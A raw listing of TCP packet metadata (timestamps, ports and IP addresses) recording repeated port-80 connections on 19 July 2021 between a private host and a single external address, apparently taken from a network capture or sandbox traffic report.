Jul 19, 2021 18:36:39.874726057 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.887304068 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.887412071 CEST	50011	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.952451944 CEST	50011	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.952594995 CEST	50011	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.952822924 CEST	50011	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.952943087 CEST	50011	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.997275114 CEST	50009	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.999269962 CEST	50012	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.046088934 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.046114922 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.046123028 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.046139002 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.046267033 CEST	50011	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.046313047 CEST	50011	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.046648979 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.046720028 CEST	50011	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.046793938 CEST	50011	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.046819925 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.046896935 CEST	50011	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.047331095 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.047348976 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.047627926 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.047681093 CEST	50011	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.047707081 CEST	50011	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.048639059 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.048657894 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.049343109 CEST	50011	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.076859951 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.077192068 CEST	50009	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.078989029 CEST	80	50012	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.079993963 CEST	50012	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.085556984 CEST	50012	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.139295101 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.139329910 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.139341116 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.139710903 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.139735937 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.141648054 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.145742893 CEST	50011	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.145796061 CEST	50011	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.145872116 CEST	50011	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.166102886 CEST	80	50012	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.166136026 CEST	80	50012	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.178037882 CEST	50012	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.238781929 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.238821983 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.238867998 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.238974094 CEST	50011	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.239089966 CEST	50011	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.239368916 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.239406109 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.239430904 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.239454031 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.239474058 CEST	50011	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.239500046 CEST	50011	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.239567041 CEST	50011	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.242063999 CEST	50011	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.282525063 CEST	50012	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.284089088 CEST	50013	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.332885027 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.332916021 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.332927942 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.332950115 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.332969904 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.333226919 CEST	50011	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.333297968 CEST	50011	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.334388971 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.334496975 CEST	50011	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.361711025 CEST	80	50012	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.362024069 CEST	50012	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.363228083 CEST	80	50013	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.363550901 CEST	50013	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.364224911 CEST	50013	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.427150965 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.427176952 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.427185059 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.442774057 CEST	80	50013	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.445146084 CEST	50011	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.455889940 CEST	80	50013	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.456039906 CEST	50013	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.537904978 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.538108110 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.538264036 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.538589954 CEST	50011	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.567409992 CEST	50013	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.568921089 CEST	50014	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.630925894 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.631498098 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.631536007 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.631563902 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.631603003 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.635063887 CEST	50011	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.650039911 CEST	80	50013	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.650306940 CEST	50013	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.655520916 CEST	80	50014	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.663640976 CEST	50014	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.664846897 CEST	50014	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.728673935 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.728701115 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.728713989 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.728729010 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.737011909 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.738296032 CEST	50011	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.750065088 CEST	80	50014	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.761512995 CEST	80	50014	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.763693094 CEST	50014	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.884691954 CEST	50011	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.884721994 CEST	50014	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.886193991 CEST	50015	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.966207981 CEST	80	50015	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.966557026 CEST	50015	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.968286037 CEST	50015	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.971925974 CEST	50016	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.974633932 CEST	80	50014	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.974744081 CEST	50014	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:40.976833105 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:40.976936102 CEST	50011	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.047339916 CEST	80	50015	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.047382116 CEST	80	50015	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.049968004 CEST	50015	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.051965952 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.052200079 CEST	50016	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.052925110 CEST	50016	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.053117037 CEST	50016	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.053307056 CEST	50016	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.053486109 CEST	50016	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.133301973 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.133349895 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.133378983 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.133456945 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.133640051 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.133820057 CEST	50016	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.134162903 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.134263039 CEST	50016	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.134761095 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.134872913 CEST	50016	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.134943962 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.134991884 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.135075092 CEST	50016	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.135102987 CEST	50016	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.135160923 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.135234118 CEST	50016	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.135261059 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.135505915 CEST	50016	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.135863066 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.135929108 CEST	50016	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.162487984 CEST	50015	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.163805008 CEST	50017	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.212600946 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.212621927 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.212634087 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.212645054 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.212656021 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.212666988 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.212764978 CEST	50016	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.212842941 CEST	50016	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.212871075 CEST	50016	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.213176966 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.213285923 CEST	50016	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.213359118 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.213430882 CEST	50016	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.213741064 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.213762999 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.213895082 CEST	50016	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.213933945 CEST	50016	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.214404106 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.214509964 CEST	50016	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.241550922 CEST	80	50015	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.241657019 CEST	50015	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.245841026 CEST	80	50017	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.246092081 CEST	50017	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.248547077 CEST	50017	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.295406103 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.295439959 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.295460939 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.295532942 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.295532942 CEST	50016	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.295548916 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.296124935 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.296145916 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.296160936 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.332360983 CEST	80	50017	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.332377911 CEST	80	50017	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.332964897 CEST	50017	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.374387980 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.374428988 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.374443054 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.374455929 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.374743938 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.374766111 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.384459019 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.384578943 CEST	50016	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.442543983 CEST	50016	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.443615913 CEST	50017	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.446429968 CEST	50018	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.526243925 CEST	80	50016	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.526386023 CEST	50016	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.540671110 CEST	80	50018	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.555538893 CEST	50018	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.555743933 CEST	80	50017	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.556756973 CEST	50018	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.560650110 CEST	50017	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.607450962 CEST	50019	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.651273966 CEST	80	50018	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.651331902 CEST	80	50018	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.651432991 CEST	50018	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.690184116 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.690390110 CEST	50019	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.691523075 CEST	50019	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.691649914 CEST	50019	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.691860914 CEST	50019	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.692039967 CEST	50019	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.763957977 CEST	50018	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.765245914 CEST	50020	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.775072098 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.775099993 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.775146961 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.775167942 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.775191069 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.775209904 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.775530100 CEST	50019	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.775908947 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.775993109 CEST	50019	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.777411938 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.777431011 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.777450085 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.777467966 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.777484894 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.777503967 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.777621031 CEST	50019	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.777666092 CEST	50019	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.845338106 CEST	80	50020	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.845503092 CEST	50020	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.845947027 CEST	50020	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.856972933 CEST	80	50018	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.857079029 CEST	50018	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.858572960 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.858596087 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.858604908 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.858613968 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.858632088 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.858875036 CEST	50019	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.859715939 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.859739065 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.859879017 CEST	50019	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.860348940 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.860364914 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.863289118 CEST	50019	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.902348995 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.902621984 CEST	50019	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.930291891 CEST	80	50020	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.941427946 CEST	80	50020	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.942209005 CEST	50020	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.943085909 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.943142891 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.943169117 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.943509102 CEST	50019	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:41.946247101 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.946774006 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.946799994 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.948292971 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.986746073 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:41.986772060 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.025259972 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.025284052 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.025295973 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.025368929 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.025382042 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.025423050 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.026333094 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.044858932 CEST	50020	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:42.045202971 CEST	50019	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:42.046627045 CEST	50021	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:42.108453989 CEST	50022	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:42.123927116 CEST	80	50020	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.127296925 CEST	80	50019	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.140424967 CEST	50020	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:42.140448093 CEST	50019	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:42.143927097 CEST	80	50021	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.160343885 CEST	50021	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:42.179699898 CEST	50021	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:42.205672979 CEST	80	50022	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.220701933 CEST	50022	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:42.277842045 CEST	80	50021	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.290601969 CEST	80	50021	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.299454927 CEST	50021	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:42.353121996 CEST	50022	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:42.353205919 CEST	50022	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:42.353382111 CEST	50022	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:42.353460073 CEST	50022	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:42.450018883 CEST	80	50022	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.450063944 CEST	80	50022	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.450078964 CEST	80	50022	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.450095892 CEST	80	50022	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.450288057 CEST	50022	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:42.451570034 CEST	80	50022	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.451596975 CEST	80	50022	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.451641083 CEST	80	50022	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.451658964 CEST	80	50022	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.451692104 CEST	50022	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:42.451741934 CEST	50022	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:42.451764107 CEST	50022	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:42.468777895 CEST	50021	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:42.470132113 CEST	50023	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:42.547081947 CEST	80	50022	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.547185898 CEST	80	50022	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.551539898 CEST	80	50022	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.551568985 CEST	80	50022	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.551580906 CEST	80	50022	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.551594973 CEST	80	50022	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.551605940 CEST	80	50022	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.551620960 CEST	80	50022	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.551639080 CEST	80	50022	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.551654100 CEST	80	50022	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.551668882 CEST	80	50022	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.551687002 CEST	80	50023	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.569130898 CEST	80	50021	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.584445953 CEST	50022	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:42.584625959 CEST	50022	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:42.584629059 CEST	50023	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:42.584953070 CEST	50021	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:42.586734056 CEST	50023	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:42.665745974 CEST	80	50023	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.666227102 CEST	80	50023	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.680619001 CEST	50023	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:42.681272984 CEST	80	50022	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.681761026 CEST	80	50022	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.681777954 CEST	80	50022	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.682015896 CEST	80	50022	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.682034969 CEST	80	50022	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.682209015 CEST	80	50022	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:42.683007002 CEST	80	50022	185.114.247.54	192.168.2.6
